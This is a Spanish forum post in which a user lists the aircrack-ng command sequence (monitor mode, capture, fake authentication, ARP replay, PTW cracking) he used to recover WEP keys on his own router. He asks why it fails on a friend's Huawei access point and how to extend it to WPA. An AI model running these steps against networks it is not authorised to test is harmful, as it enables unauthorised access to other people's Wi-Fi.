Buenos días. Tengo un Speedtouch ST585 v6. Con un amigo he estado haciendo pruebas sobre este equipo, configurando las claves WEP y haciendo el ataque desde mi portátil con varias distribuciones Live CD (Wifiway 1.0, Backtrack 3 y WifiSlax 3.1). Hemos logrado descifrar claves WEP de 64 y 128 bits.
Los comandos usados fueron los siguientes:
iwconfig
ifconfig wlan0 up
ifconfig
airmon-ng start wlan0
iwconfig mon0 rate 1M
airodump-ng mon0, detenemos y tomamos los datos
airodump-ng -c 11 -w captura mon0
aireplay-ng -1 0 -a macdelap -h mimac -e nombredelap mon0, en otra terminal, asocia correctamente
aireplay-ng -3 -b macdelap -h mimac mon0, esperamos que #Data suba hasta 30000
aircrack-ptw captura.cap
Hasta aquí todo funciona bien. Se pueden extraer las claves!.
El problema es al intentar con el AP Huawey de mi amigo, que hemos protegido con una clave WEP.
Siguiendo el mismo procedimiento con los cambios obvios correspondientes al canal, macs y nombres no hemos podido descifrar la clave.
Aquí estan los pantallazos:
Si bien parece asociarse correctamente, en los pasos finales no se incrementa el valor #Data haciendo imposible lograr los resultados esperados.
Espero su colaboración al respecto pues la idea es comprender más a fondo y aprender sobre el tema. Después quisiera conocer las modificaciones necesarias sobre este procedimiento para lograr descifrar claves WPA.
Reciban un cordial saludo.
JORGE OLAYA
